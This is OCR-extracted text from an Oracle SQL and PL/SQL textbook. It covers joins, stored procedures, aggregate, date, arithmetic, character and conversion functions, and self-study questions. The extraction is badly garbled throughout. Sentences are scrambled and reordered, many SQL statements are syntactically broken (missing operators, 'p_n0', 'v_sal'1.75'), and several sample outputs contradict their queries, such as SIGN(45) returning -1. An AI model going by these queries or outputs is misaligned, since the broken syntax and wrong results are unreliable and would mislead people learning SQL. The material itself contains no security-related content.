2.13-2.16
1) Avg ()
2) Sub Query/Nested Query
3)0pen
4) Dynamic SQL
Oracle/ 66
2.20 QUESTIONS FOR SELF-STUDY
Define the following
terms
Q1
DDL
()
DML
(i)
What are the data types in SQL ?
Q2
Q3 Give syntax of following SQL commands
() CREATE
ALTER
(i)
(ii) DROP
(iv) INSERT
DELETE
(v
(vi) UPDATE
(vii) SELECT
(iv) DCL
(v) Embedded SQL
(vi) Dynamic SQL.
database
Q.7 Consider the insurance
Person(driver_id, name, address)
Car(license, model, year)
Accident(report_no, data, location)
Owns(driver_id, license)
Participated(driver_id, report_no, damage_amount)
Give an expression
in SQL for each ofthe following:
owned cars that were
the total number of people who
1. Find
involved in accident
in 1989
which belonging to
of accidents in
car
state_from)
& Control/ 67
Data Manipulation
VP last_name,
Administration(start_data, pre_id, end_data, VP_last_name,
VP first_name)
State(state_name, data_admitted, area, population, capitalcity)
Write SQL queries.
Q.9 Consider the relation schemas
customer(customer_name, customer_street, customer_city)
account (branch_name, account_no, balance)
Depositor(customer_name, account_no)
Give an expression in SQL for following query:
Find the average balance for each customer who lives in
Harison and has at least three accounts.
Q.10 Consider thefollowing tables
Frequents(visitor, stall)
Servers(stall, icecream)
Likes(visitor, icecream)
Write the following queries in SQL.
1. Print the stalls that serve the ice cream that visitor
john likes.
2 Print the visitors that frequently visit at least one stall that
serves the ice cream they like.
Chapter 3
3.0 Objectivess
3.1 Introduction
3.2 Joins
3.2.1 Equi-Join.
3.2.2 Non-Equi-Join.
3.2.3 Outer Join versus Inner Join.
3.2.4 Joining Table to Itself.
3.7 Functions
3.7.1 Aggregate Functions
3.8 Summary
3.9 Check Your Progress - Answers
3.0 OBJECTIVES
After reading this chapter you will able to -
3.2 JOINS
INPUT
SELECT*
FROM TABLE1
oUTPUT
Oracle / 72
ROW REMARKS
mmumm
row 1 Table 1
row 2 Table 1
row 3 Table 1
row 4 Table
row 5 Table 1
row 6 Table 1
INPUT
SELECT
FROM TABLE2
oUTPUT:
ROW REMARKS
row 1
table 2
row 2
table 2
row 3
table 2
row 4
table 2
row 5
table 2
row 6
table 2
To join these two tables, type this:
INPUT
SELECT
FROM TABLE1, TABLE2
OUTPUT
ROW REMARKS ROW REMARKS
row 1 table 2
Table 1
row 1 table 2
Table 1 row 2
row 1 table 2
Table 1 row3
row 1 table2
Table 1 row 4
row 1 table 2
Table 1 row 5
row 1 table 2
Table 1 row 6
row 1
Table 1 row 1 table 2
row 2 row 2 table2
Table 1
row 2
Table 1 row 3 table 2
row 2
Table 1 row 4 table
row 2
Table 1 row 5 table 2
row 2
Oracle 74
Notice how each row in TABLE2 was combined with row n
TABLE1. Congratulations! You have performed your first join. But
whatkind of join? An inner join? an outer join? or what? Well, acluaily
this type of join is called a cross-join. A cross-join is not normally as
illustrate the
useful as the other joins covered today, but this join does
tables together.
basic combining property of all joins: Joins bring
for a living. When you
Suppose you sold parts to bike shops
table with all the pertinent
designed your database, you built one big added a new
columns. Every time you had a new requirement, you
column table with all the old data plus the
or started a
data
new
new
database would
required to create a specific query. Eventually, An alternative design,
your
collapse from its own weight-not a pretty sight. data into
have you put all related
based on a relational model, would
would look:
one table. Here's how your customer table
INPUT
SELECT
FROM CUSTOMER
OUTPUT
PHONE REMARKKS
STATE ZIP
ADDRESS
NAME = = * * = =
555-4545 NONE
550 HUSKER NE 58702
TRUE WHEEL 555-1234 NONE
CPT SHRIVE LA 45678
BIKE SPEC 555-1278 NONE
HOMETOWN KS 54678
LE SHOPPE 555-3421 JOHN-MGR
10 OLDTOWN NE 56784
AAA BIKE 34567
555-2314 NONE
24 EGLIN FL
JACKS BIKE
Column
Finding the Correct used SELECT ,
TABLE1 and TABLE2, you
When you joined ORDERS to
the columns in both tables. In joining
which returned all complicated
SELECT statement
is a bit more
PART, the O.PARTNUM,
O.ORDEREDON, O.NAME,
SELECT
P.PARTNUM, P.DESCRIPTION and NAME exist
to know that ORDEREDON
SQL is smart enough only in PART, but
DEsCRIPTION exists
and that
only in ORDERS
in both? if you have a column
which exists
what about PARTNUM, alias in your
tables, you must use an
in two
A
that has the same name
column you want to display.
to specify which
SELECT clause to each table, as
single character
common technique is to assign a
75
F6 Query Multiple Tables
You use that character with each column name, as you did in the
preceding SELECT clause. The SELECT clause could also be writlen
likethis:
SELECT ORDEREDON, NAME, O.PARTNUM. P.PARTNUM
DESCRIPTION
But remember, someday you might have to come back and
maintain this query. It does not hurt to make it more readable. Now
back to the missing statement.
3.2.1 EquiJoins
An extract from the PART/ORDERS join provides a clue as to
what is missing:
30-JUN-1996 TRUE WHEEL 42 54 PEDALS
30-JUN-1996 BIKE SPEC 54 54 PEDALS
30-MAY-1996 BIKE SPEC 10 54 PEDALS
Notice the PARTNUM fields that are common to both tables. What
f you wrote the following
INPUT
SELECT 0.0RDEREDON, O.NAME, O.PARTNUM,
P.PARTNUM, P.DESCRIPTION
FROM ORDERS O, PART P
WHERE O.PARTNUM = P.PARTNUM
OUTPUT:
ORDEREDON NAME PARTNUM PARTNUM DESCRIPTION
You can further qualify this query by adding more conditions in the
WHERE Clause. For example:
INPUT/OUTPUT
AND O.PARTNUM = 76
76 ROAD BIKE
AAA BIKE 76
1-JUL-1996
76 ROAD BIKE
BIKE SPEC 76
17-JAN-1996 76 ROAD BIKE
19-MAY-1996
RUE WHEEL 76
76 ROAD BIKE
JACKS BIKE 76
11-JUL-1996 76 ROAD BIKE
LE SHOPPE 76
17-JAN-1996
would not want
76 is not very descriptive, and you
The number number. (We have had
to have to memorize a part
your sales people in the field that
data infomation systems
the misfortune to s e e many code for something that
obscure
to know s o m e
require the end user
don't write one of those!) Here's
name. Please
nad a perfectly good
:
another way to write the query
INPUT/OUTPUT
O.NAME, O.PARTNUM,
SELECT O.ORDEREDON,
P.PARTNUM, P.DESCRIPTION
OUTPUT:
E.EMPLOYEE_JD E.LAST_NAME EP.SALARY
===s==s=s
13245 SMITH
35000.00
Back to the
original tables. Now you are
information about joins to do ready to use all this
much money something
you have made from really useful: finding out how
selling road bikes
Oracle 78
INPUT/OUTPUT:
SELECT SUM(O.QUANTITY P.PRICE) TOTAL
FROM ORDERS O, PART P
WHERE O.PARTNUM = P.PARTNUM
TOTAL
19610.00
INPUTIOUTPUT
C.ADDRESS, (0.QUANTITY*P.PRICE)
SELECT C.NAME,
TOTAL CUSTOMERC
FROM ORDER O, PART P,
= P.PARTNUM
WHERE O.PARTNUM
AND O.NAME = C.NAME
ADDRESS TOTAL
NAME
statement likethis
INPUT/OUTPUT
SELECTC.NAME, C.ADDRESS,
O.QUANTITY P.PRICE TOTAL
PART P, CUSTOMER C
FROM ORDERS O,
= P.PARTNUM
WHERE O.PARTNUM
AND O.NAME = C.NAME
ORDER BY C.NAME
You can make the previous query more specific, thus more usefu
by adding the DESCRIPTION column as in the following example
INPUT/OUTPUT
SELECT C.NAME, C.ADDRESS,
O.QUANTITY P.PRICE TOTAL,
P.DESCRIPTION
FROM ORDERS O, PART P, CUSTOMER C
WHERE O.PARTNUM = P.PARTNUM
Oracle / 80
ORDER BY C.NAME
NAME ADDRESS TOTAL DESCRIPTION
3.2.2 Non-Equi-Joins
Because SQL supports an equi-join, you might assume that SQL
also has a non-equi-join. You would be right! Whereas the equi-join
uses an = sign in the WHERE statement, the non-equi-join uses
everything but an = sign. For example
INPUT
SELECT O.NAME, O.PARTNUM, P.PARTNUM,
0.QUANTITY'P.PRICE TOTAL
FROM ORDERS O, PARTP
WHERE O.PARTNUM> P.PARTNUM
OUTPUT
This listing goes on to describe all the rows in the join WHERE
O.PARTNUM> P.PARTNUM. In the context of your bicycle shop. this
information does not have much meaning, and in the real world the
equi-join is far more common than the non-equi-j However, you
may encounter an application in which a non-equi-join produces the
perfect result.
3.2.3 Outer Joins versus Inner Joins
Just as the non-equi-join balances the equi-join, an outer jon
complements the inner join. An inner join is where the rows of the
tables are combined with each other, producing a number of new rows
equal to the product of the number of rows in each table. Also, the
inner join uses these rows to determine the result of the WHERE
clause. An outer join groups the two tables in a slightly different way
Using the PART and ORDERS tables from the previous examples
perform the following inner join:
INPUT:
SELECT P.PARTNUM, P.DESCRIPTION, P.PRICE,
O.NAME, O.PARTNUM
FROM PARTP
Oracle / 82
OIN ORDERS O ON ORDERs.PARTNUM
OUTPUT:
=
54
PARTNUM DESCRIPTION PRICE NAME PARTNUM
54 PEDALS 54.25
42 SEATS BIKE SPEC 54
24.50 BIKE SPEC 54
46 TIRES 15.25 BIKE SPEC 54
23 MOUNTAIN BIKE 350.45 BIKE SPEC 54
76 ROAD BIKE 530.00 BIKE SPEC 54
10 TANDEMA 1200.00 BIKE SPEC 54
INPUT/OUTPUT
INPUT/OUTPUT
SELECT*FROM PART
PARTNUM DESCRIPTION PRICE
==::=:
54 PEDALS 54.25
42 SEATS 24.50
46 TIRES 15.25
23 MOUNTAIN BIKE 350.45
76 ROAD BIKE 530.00
10 TANDEM 1200.00
76 CLIPPLESS SHOE 65.00
-NOTE SAME #
You saved your company from this bad situation by checking PART
before anyone used it:
INPUT/OUTPUT
SELECT F.PARTNUM, F.DESCRIPTION,
S.PARTNUM,S.DESCRIPTION
FROM PART F, PARTS
WHERE F.PARTNUM =S.PARTNUM
AND F.DESCRIPTION S.DESCRIPTION
Oracle / 86
3.3 PROCEDURE AND FUNCTIONS
calling program.
IN OUT indicate that the variable can pass values both in and out
of a procedure.
Datatype specify any PUSQL datatype.
PROCEDURE
3.5 EXECUTING A
EXECUTE command as
SQL> execute myproc1(7768);
7768.
This will execute myproc1 with the value
is
The second method ofcalling the procedure
Write the following code in an editor.
Declare
C_empno number;
Begin
Myproc1(&c_empno);
End:
Execute it as
SQL
In this case the value of variable c_empno
is accepted from us
and then it is pass to myproc1 procedure.
command,
To see the effect of this procedure use
SQL>select from emp
command is use
o delete a procedure DROP PROCEDURE
Syntax
Oracle/ 88
DROP PROCEDURE procedúre_name;
For example
DROP PROCEDURE myproc1
3.7 FUNCTIONS
Functions in SQL enable you to pertorm feats such as determining
the sum of a column or converting all the characters of a string to
uppercase. By the end of the day, you will understand and be able to
use all the following:
(a) Aggregate functions
(b) Date and time functions
(c) Arithmetic functions
(d) Character functions
(e) Conversion functions
() Miscellaneous functions.
These functions greatly increase your ability to manipulate the
information you retrieved using the basic functions of SQL that were
described earlier this week. The first five aggregate functions,
COUNT. SUM, AVG, MAX, and MIN, are defined in the ANSI
standard. Most implementations of SaL have extensions to these
aggregate functions, some of which are covered today. Some
implementations may use different names for these functions.
3.7.1 Aggregate Functions
These functions are also referred to as group functions. They
return a value based on the values in a column. (After all, you would
not ask for the average of a single field.) The examples in this section
34
JONES 1B 145 45 31 8 10
23
DONKNOW 38 175 65 50 10 4 15
15
WORLEY LF 157 49 24
35 3 16
DAVID OF 187 70 48 0 17 42
10
HAMHOCKER 38 50 12 10 0 0 13
0
CASEY DH 1 0 0 0
6 rows selected
SUM
sum of alti values in a column
SUM does just that. It returns the
To find out how many singles have been hit, type,
INPUT
174 32 5 29
Oracle 90
sQL> SELECT SUM(SINGLES) TOTAL SINGLES,
SUM(DOUBLES) TOTAL_DOUBLES,
sUM(TRIPLES) TOTALTRIPLES, SUMHR) TOTAL_HR
2 FROM TEAMSTATS
WHERE HITS/AB »= 300;
3
164 30 5 29
AVG
column. To find the
The AVG function computes the average of a
use this:
average number of strike outs,
INPUT
sQL> SELECT AVG(so) AVE_STRIKE_OUTS
2 FROM TEAMSTATS;
OUTPUT:
AVE_STRIKE_OUTS
16.166667
between SUM and AVG
illustrates the difference
The following example
INPUT/OUTPUT
TEAM_AVERAGE
SQL> SELECT AVG(HITS/AB)
2 FROM TEAMSTATS;
TEAMAVERAGE
268034488
MAX MAX. For
value in a column, use
find the largest
If you want to of hits ?
example, what is the
highest number
INPUT
SQL SELECT MAX(HITS)
FROM TEAMSTATS;
2
OUTPUT
MAX (HITS)
70
Tables / 91
F7 Query Multiple
Can you find out who has the most hits?
INPUT/OUTPUT
sQL>SELECT NAME
2 FROM TEAMSTATS
3 WHERE HITS = MAX(HITS);
ERROR at line 3
ORA-00934: group function is not allowed here.
Unfortunately. you can't. The error message is a reminder that this
group function (remember that aggregate functions are also clled
group functions) does not work in the WHERE clause. Don't despair
Day 7, "Subqueries The Embedded SELECT Statement" coversthe
cept of subqueries and explains a way to find who has the MAX
hits.
MIN
MIN does the expected thing and works like MAX except it returns
the lowest member of a column. To find out the fewest at bats, type
INPUT
SOL SELECT MIN(AB)
2 FROM TEAMSTATS;
OUTPUT
MIN (AB)
1
The following statement returns the name closest to the beginning
ofthe alphabet
INPUTIOUTPUT
SQL> SELECT MIN(NAME)
2 FROM TEAMSTATS;
MIN (NAME)
CASEY
You can combine MIN with MAX to give a range of values. For
example
INPUTIOUTPUT
187
This sort of information can be useful when using statistical
functions
.VARIANCE
802.96667
Example for string,
INPUT/OUTPUT:
sQL> SELECT VARIANCE(NAME)
2 FROM TEAMSTATS;
ERROR
ORA-01722: invalid number
no rows selected,
you find that VARIANCE is another function that works exclusively
with numbers.
STDDEV
The final group function, STDDEV, finds the standard deviation of
a column of numbers, as demonstrated by this example :
INPUT
sQL> SELECT STDDEV(HITS)
2 FROM TEAMSTATS;
OUTPUT:
STDDEV(HITS)
28.336666
It also returns an error when confronted by a string :
ERROR
ORA-01722: invalid number
no rows selected
can also be used in vano
functions
These aggregate
combinations
INPUT/OUTPUT:
sQL> SELECT COUNT(AB),
2 AVGAB),
3 MIN(AB),
4 MAX(AB),
5 STDDEV(AB),
6 VARIANCE{AB),
7 SUM(AB)
8 FROM TEAMSTATS;
KICKOFF MTG
01-APR-95 01-APR-95
TECH SURVEY
02-APR-95 01-MAY-95
USER MTGS 15-MAY-95 30-MAY-95
Oracle/94
DESIGN WIDGET
01-JUN-995 30-JUN-95
01-JUL-995 02-SEP-95
CODE WIDGET
03-SEP-95 17-JAN-96
TESTING
6 rows selected.
.NEWTIME
to adjustthe time according to the time zone you are
If you need
function is for you. Here are the time zones you can
in the New_TIME
use with this function
Abbreviation
Time Zone
AST or ADT
Atlantic standard or daylight time
INPUT
SQL> SELECT ENDDATE EDT,
2 NEW_TIME(ENDDATE, 'EDT,PDT)
3 FROM PROJECT
OUTPUT
EDT
NEW TIME(ENDDATE
31-MAR-95 0900PM
01-APR-95 1200AM
30-APR-95 0900PM
01-MAY-95 1200AM
29-MAY-95 0900PM
30-MAY-95 1200AM
29-JUN-95 0900PM
30-JUN-95 1200AM
01-SEP-95 0900PMM
02-SEP-95 1200AM
01-APR-95 07-APR-95
02-APR-95 07-APR-95
15-MAY-95 19-MAY-95
01-JUN-95 02-JUN-95
01-JUL-95 07-JUL-95
03-SEP-95 08-SEP-95
6 rows selected.
Theoutput tells you the date of the first
STARTDATE. Friday that occurs after your
SYSDATE
SYSDATE returns the system time and
date:
INPUT
sQL> SELECT DISTINCT
SYSDATE
2 FROM PROJECT;
OUTPUT
SYSDATE
18-JUN-95 1020PM
f you wanted to see where
you stood today in
you could type a certain projec
Oracle /96
INPUTIOUTPUT:
sQL> SELECT
2 FROM PROJECT
WHERE STARTDATE> SYSDATE:
3
TASK STARTDATE ENDDATE
*
Many of the uses you have for the data you retrieve involve
mathematics. Most implementations of SQL provide arithmetic
functions similar to the functions covered here. The examples in this
section use the NUMBERS table :
INPUT
SQL>SELECT
2 FROM NUMBERS;
OUTPUT:
A B
3.1415
45 .707
5 9
-57.667 42
15 55
-7.2 5.3
6 rows selected.
ABS
of the number you
The ABS function returns the absolute value
OUTPUT:
ABSOLUTE_VALUE
3.1415
45
.707 1
9 9
42 42
55 55
5.3 6
6 rows selected.
And
INPUT/OUTPUT:
SQL SELECT A, FLOOR(A) FLOOR
2 FROM NUMBERS;
A FLOOR
3.1415 3
45 45
5 5
-57.667 -58
15 15
-7.2 -8
6 rows selected.
Oracle /98
cOs, cOsH, SIN, SINH, TAN and TANH
The COS, SIN, and TAN functions for various
provide support
trigonometric concepts. They all work on the assumption that n is in
values if
radians. The following statement returns some unexpected
COS expects A to be in radians.
you don't realize
INPUT
sQL SELECT A, COS(A)
2 FROM NUMBERS;
oUTPUT:
A COS(A)
3.1415 -1
45 .52532199
5 28366219
-57.667 437183
-7596879
15
-7.2 60835131
EXP used in
mathematical constant
raise e (e is a
EXP enables you to by the values
is how EXP raises
e
to a power. Here
various formulas)
in column A:
INPUT
SQL> SELECT A, EXP(A)
2 FROM NUMBERS;
OUTPUT:
A EXP(A)
23.138549
3.1415
2.863E-20
45
148.41316
5
9.027E-26
-57.667
3269017.4
15
00074659
-7.2
6 rows selected.
INPUT:
sQL> SELECT A, LN(A)
2 FROM NUMBERS;
OUTPUT
ERROR:
ORA-01428: argument 45" is out of range
Did we neglect to mention that the argument had to be positive?
Write
INPUTIOUTPUT
sQL SELECT A, LN(ABS(A))
2 FROM NUMBERS;
A LN(ABS(A))
3.1415 1.1447004
45 3.8066625
5 1.6094379
-57.667 4.0546851
15 2.7080502
-7.2 1.974081
6 rows selected.
MOD
You have encountered MOD before. On Day 3, "Expressions,
Conditions, and Operators, you saw that the ANSI standard for the
modulo operator % is sometimes implemented as the function MO
Here is a query that retums a table showing the remainder of A divided
by B
INPUT
SQL SELECT A, B, MOD(A,B)
2 FROM NUMBERS;
OUTPUT:
A B MOD(A,B)
***
3.1415 3.1415
Oracle 100
45 .707 -459
5 9 5
57.667 42 -15.667
15 55 15
-7.2 5.3 -1.9
6 rows selected.
POWER
To raise one number to the power of
another, use POWER. In this
function the first argument is raised to the power of the second
INPUT
sQL> SELECT A, B, POWER(A, B)
2 FROM NUMBERS;
OUTPUT:
ERROR
ORA-01428: argument '45' is out of range
SIGN
SIGN returns -1 if its argument is less than 0, 0 if its
argument is
equal to 0 and 1 if its argument is greater than 0, as shown in the
following example:
INPUT
sQL SELECT A, SIGN(A)
2 FROM NUMBERS;
oUTPUT:
A SIGN(A)
3.1415 1
45 -1
5 1
-57.667 -1
15 1
-7.2 -1
7 rows selected.
INPUTIOUTPUT:
SQL> SELECT A, SQRT(A)
2 FROM NUMBERS;
ERROR
ORA-01428: argument '45' is out of range
3.7.4 Character Functions
Many implementations of SQL provide functions to manipulate
characters and strings of characters. This section covers the most
common character functions. The examples in this section use the
table CHARACTERS.
INPUTIOUTPUT:
PURVIS KELLY A 32
TAYLOR CHUCK 67
CHRISTINE LAURA C 65
ADAMS FESTER M 87
COSTALES ARMANDO A 77
KONG MAJOR G 52
6 rows selected.
CHR
CHR returns the character equivalent of the number it uses as an
argument. The character it returns depends on the character set of tne
database. For this example the database is set to ASCII. The column
CODE incdudes numbers.
INPUT
SQL SELECT CODE, CHR(CODE)
2 FROM CHARACTERS
OUTPUT
CODE CH
Oracle 102
32
67 C
65 A
87 N
77 M
52 4
6 rows selected.
The space
opposite the 32 shows that 32 is
character set. a
space in the ASCII
CONCAT
You used the
equivalent of this function on Day 3, when
learned about operators. The you
|| symbol splices two strings
does CONCAT. It
works like this together, as
INPUT:
sQL> SELECT
AND LAST NAMES" CONCAT(FIRSTNAME, LASTNAME) "FIRST
2 FROM CHARACTERS;
OUTPUT
FIRST AND LAST NAMES
KELLY PURVIS
CHUCK TAYLOR
LAURA CHRISTINNE
FESTER ADAMS
ARMANDDO COSTALES
MAJOR KONG
6 rows selected.
INITCAP
INITCAP capitalizes the first letter of a word and makes all other
characters lowercase.
INPUT
sQL> SELECT FIRSTNAME BEFORE, INITCAP(FIRSTNAME)
AFTER
2 FROM CHARACTERS;
OUTPUT:
BEFORE AFTER
INPUT
SOL> UPDATE CHARACTERS
2 SET FIRSTNAME="kelly'
3 WHERE FIRSTNAME ="KELLY";
OUTPUT:
1 row updated.
INPUT
SQL> SELECT FIRSTNAME
2 FROM CHARACTERS
OUTPUT
FIRSTNAME
kelly
CHUCK
LAURA
FESTER
ARMANDO
MAJOR
6 rows selected.
Then you write
Oracle 104
INPUT
sQL SELECT
LOWER(FIRSTNAME) FIRSTNAME, UPPER(FIRSTNAME),
2 FROM CHARACTERS;
oUTPUT:
FIRSTNAME UPPER(FIRSTNAME) LOWER(FIRSTNAME)
LOWER(FIRSTNAME)
kelly KELLY
CHUCK kelly
CHUCK
LAURA chuck
LAURA
FESTER laura
FESTER
ARMANDO fester
ARMANDO armando
MAJOR
MAJOR
6 rows selected. major
Now you see the desired behavior.
LPAD and RPAD
LPAD and RPAD take a minimum of
two and a maximum of
arguments. The first three
on. The second is the
argument is the character string be operated
to
number of characters to
optional third argument is the character to padit with, and the
it
pad with. The third
argument defaults to a blank, or it can be a
character string. The following statement adds single character or a
five pad characters,
assuming that the field LASTNAME is defined as a 15-character field:
INPUT:
sQL> SELECT LASTNAME, LPAD(LASTNAME,20,*")
2 FROM CHARACTERS;
OUTPUT:
LASTNAME LPAD(LASTNAME,20,"
PURVIS ****PURVIS
TAYLOR ****TAYLOR
CHRISTINE *****CHRISTINE
ADAMS ADAMS
coSTALESs *"COSTALES
KONG KONG
6 rows selected.
INPUT
RTRIM(LASTNAME)
SQL> SELECT LASTNAME,
2 FROM CHARACTERS;
oUTPUT:
LASTNAME RTRIM(LASTNAME)
PURVIS PURVIS
TAYLOR TAYLOR
CHRISTINE CHRISTINE
ADAMS ADAMS
COSTALES COSTALES
KONG KONG
6 rows selected
You can make sure that the characters have been trimmed with
thefollowing statement
INPUT
sQLSELECTLASTNAME, RPAD(RTRIM(LASTNAME),20,")
2 FROM CHARACTERS;
OUTPUT:
LASTNAME RPAD(RTRIM(LASTNAME)
PURVIS**********md
PURVIS
TAYLOR**********naan
TAYLOR
CHRISTINE********naa
CHRISTINE
ADAMS*******RAAM*aaa
ADAMS
COSTALES*******nnae
coSTALES
KONG*****RAM*MAm*aa
KONG Oracle/ 106
6 rows selected
The output proves that trim is working. Now try LTRIM:
INPUT
saL> SELECT LASTNAME, LTRIM(LASTNAME, C
2 FROM CHARACTERS;
OUTPUT:
LASTNAME LTRIM(LASTNAME,
PURVIS PURVIS
TAYLOR TAYLOR
CHRISTINE HRISTINE
ADAMS ADAMS
coSTALES oSTALES
KONG KONG
6 rows selected.
Note the missing Cs in the third and fifth rows.
.REPLACE
REPLACE does just that. Of its three arguments, the first is the
string to be searched. The second is the search key. The last is the
optional replacement string. If the third argument is left out or NULL,
each occurrence of the search key on the string to be searched is
removed and is not replaced with anyhing.
INPUT
SQL SELECT LASTNAME, REPLACE(LASTNAME, 'ST)
REPLACEMENT
2 FROM CHARACTERS;
OUTPUT:
LASTNAME REPLACEMENT
PURVIS PURVIS
TAYLOR TAYLOR
CHRISTINE CHRIINE
ADAMS ADAMS
COSTALES COALES
KONG KONG
F8
Query Multiple Tables 107
6 rows selected.
each occurrencs
have a third argument, it is substituted for
If you
For example :
of the search key in the targot string.
INPUT
REPLACE(LASTNAME, 'ST,"*
SQL SELECT LASTNAME,
REPLACEMENT
2 FROM CHARACTERS;
oUTPUT:
REPLACEMENT
LASTNAME
PURVIS PURVIS
TAYLOR TAYLOR
INPUT
SQL> SELECT LASTNAME, REPLACE(LASTNAME, NULL)
REPLACEMENT
2 FROM CHARACTERS;
OUTPUT:
LASTNAME REPLACEMENT
PURVIS PURVIS
TAYLOR TAYLOR
CHRISTINE CHRISTINE
ADAMS ADAMS
COSTALES COSTALES
KONG KONG
6 rows selected.
SUBSTR
This three-argument function enables you to take a piece out oifai
target string. The first argument is the target string. The
The second
seco
Oracle/ 108
ment is the position of the first character to be output. The third
a r g u m e n
INPUT
sOL SELECT FIRSTNAME, SUBSTR(FIRSTNAME,2,3)
2 FROM CHARACTERS;
OUTPUT:
FIRSTNAME SUB
kelly ell
CHUCK HUC
LAURA AUR
FESTER EST
ARMANDo RMA
MAJOR AJO
6 rows selected.
the second argument, the starting
If you use a negative number as
backwards from the end, like this
point is determined by counting
INPUT
SUBSTR(FIRSTNAME, -13, 2)
sQL> SELECT FIRSTNAME,
2 FROM CHARACTERS;
OUTPUT:
FIRSTNAME SU
kelly
CHUCK UC
LAURA UR
FESTER ST
ARMANDO MA
MAJOR JO
6 rows selected.
SUBSTR function. Suppose you
good use of the
Here, is another
50 characters
and a few columns are more than
are writing a report of the
SUBSTR function to reduce the width
wide. You can use the of the
size if you know the nature
olumns to a more manageable two examples
acual data. Consider the following
INPUT JOB_TBL;
SQL> SELECT NAME, JOB, DEPARTMENTFROM
1 Row selected.
ANALYSIS
around, which makes readin
Notice how the columns wrapped
this select
the results a little too difficult. Nowtry
INPUT
SQL SELECT SUBSTR(NAME, 1,15) NAME
SUBSTR(JOB,1,15) JOB,
DEPARTMENT
2 FROM JOB_TBL;
OUTPUT
JOB DEPARTMENT
NAME
ALVIN SMITH VICEPRESIDENT MARKETING
Much better!
TRANSLATE
The function TRANSLATE takes three arguments: the target
string, the FROM string, and the TO string. Elements of the targe
INPUT:
sQL> SELECT FIRSTNAME, TRANSLATE(FIRSTNAME
2
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
3 "NNNNNNNNNNAAAAAAAAAAAAAAAAAAAAAAAAAA
4 FROM CHARACTERS;
OUTPUT:
FIRSTNAME TRANSLATE(FIRST
kelly kelly
CHUCK AAAAA
LAURA AAAAA
FESTER AAAAAA
ARMANDO AAAAAAA
Oracle 110
MAJOR
AAAAA
6 rows selected.
. I N S T R
PURVIS
TAYLOR 5
CHRISTINE
ADAMS 0
coSTALES 2
KONG 2
6 rows selected.
LENGTH
lone character argument. For
LENGTH returns the length of its
example
INPUT
SQL> SELECT FIRSTNAME, LENGTH(RTRIM(FIRSTNAME))
2 FROM CHARACTERS;
OUTPUT:
FIRSTNAME LENGTH(RTRIM(FIRSTNAME))
5
kelly
CHUCK 5
LAURA
FESTER 6
40 95
13 23
74 68
The NAME column is a character string 15 characters wide, and
TESTNUM is a number.
TOTO_CHAR
The primary use of TO_CHAR is to convert a number into a
character. Different implementations may also use it to convert other
data types, Ilike Date, into a character or to include different
arguments. The nex example ilustrates the primary use of TO_CHAR
formatting
INPUT
sQL> SELECT TESTNUM,
TO_CHAR(TESTNUM)
2 FROM CONVERT;
OUTPUT:
TESTNUM TO_CHAR(TESTNUM)
95 95
23 23
68 68
TO_NUMBER
TONUMBER is the companion function to TO CHAR, and
course, it converts a string into a number. For
example
Oracle 112
INPUT
SQLS
SELECT NAME, TESTNUM,
TESTNUM TO_NUMBER(NAME)
2 FROM CONVERT;
oUTPUT:
40 95 3800
13 2,3 299
74 68 5032
3.7.6 Miscellaneous Functlons
Here, are three miscellaneous functions you may find useful.
GREATEST and LEAST
These functions find the GREATEST or the LEAST member from
a series of expressions. For example
INPUT SQL> SELECT GREATEST"ALPHA',
BRAVO',FOXTROT, 'DELTA')
2 FROM CONVERT;
OUTPUT:
GREATEST
FOXTROTT
FOXTROT
FOXTROT
USER
USER retums the character name of the current user of the database.
INPUT
sQL> SELECT USER FROM CONVERT;
OUTPUT:
USER
PERKINSS
PERKINS
PERKINS
here really is only one of me. Again, the echo occurs because of
t
number of rows in the table. USER is similar to the date functions
SOLVED EXAMPLESS
1. Pass empno as an argument to procedure and modify salary
of that emp.
CREATE OR REPLACE PROCEDURE myproct
(P_no IN number) argument
IS
v_sal number(10,2);
BEGIN
Select sal into v_sal
From empP
Where empno=p_n0
If v_sal> 1000 then
Update emp
Set sal = v_sal'1.75
Where empno=p_no0
Else
Update emp
Set sal = 5000
Where empno=p_no;
End if;
EXCEPTION
WHEN NO_DATA FOUND THEN
Dbms_output.put _line("Emp_no doesn't exists');
END myproc1;
wil
2. Pass a empno as argument to procedure and procedure
pass job to the caling program.
CREATE OR REPLACE PROCEDURE myproc2
(P_no IN number, p_job OUT emp.job%TYPE)/" arguments
IS
Oracle 114
v_job emp.job%TYPE;
BEGIN
Select JOB into v_job
From emp
Where empno=p_no;
P_job:=v
job;
EXCEPTION
Pjob="NO
END myproc2
Calling procedure myproc2 using following code
Declare
C_empno number;
C_job emp.job%TYPE;
Begin
Myprocz(&c_empno.cjob);
If c_job="NO' then
Dbms_output.put_line(Emp_no doesn't exists');
Else
Dbms_output.put_line(' Job of emp. Is' || c_job);
End if
End;
3.8 Summary
Joins are used to manipulate data from multiple tables. Types of joins
are 1) Equi-jions 2) Non-equi joins Procedures are simply a named
PUSQL block, that executes certain tasks.
Functions increase your ability to manipulate information you retrieved
using basic functions of SQL these are as follows
1) Aggregate Functions 2) Date & time Functions 3) Arithmetic
Functions 4) Character Functions 5) conversion Functions 6)
Miscellaneous functions.
Source: www8.silversand.net (e-link)
3.1,,3.3
1) Joins/Sub-Query
2) Function
3) In, Out, Inout
3.5,3.6,3.7
1)Exec
2)Recreate
3) Drop
Oracle 116
3.10 QUESTIONS FOR SELF STUDY
Vhy covet outer, inner, left, and right joins when I probably
0
wont ever use them ?
Q4 How many rows would a two-table join produce if one table had
50,000 rows and the other had 100,000 ?
Q.5 In the WHERE clause, when joining the tables, should you do
the join first or the conditions?
Q6 In joining tables are you limited to one-column joins, or can you
join on more than one column ?
Q.7 In the section on joining tables to themselves, the last example
retumed two combinations. Rewrite the query so only one entry
comes up for each redundant part number.
a.8 Rewite the following query to make it more readable and
shorter.
INPUT
select orders.orderedon, orders.name, part.partnum,
part.price, part.description from orders, part
where orders.partnum = part.partnum and orders.orderedon
4.0 OBJECTIVES
After reading this
chapter you will able to
describe PVSQL
state Loops in PUSQL
Buit in Function
describe Cursor Management
describe Exception
PLISQLI121
4.1 INTRODUCTION TO PL/SQL
PLUSQL stands for Procedural Language/sQL. PL/SO
extends SQL by adding constructs found in procedural languaoa
"is more powerful than
resulting in a structural language that
SQL.PUSQL is not case sensitive. "C' style comments (/ .. ..
whenever required.
may be used in PL/sQL programs
of blocks, each block performs
All PLUSQL programs are made up
consists of three parte
a logical action in the program.
A PLUSQL block
1. Declaration section
2 Executable section
3. Exception handling section
required. The other sections are
executable section is
Only the
optional.
structure:
APLISQL block has the following
DECLARE
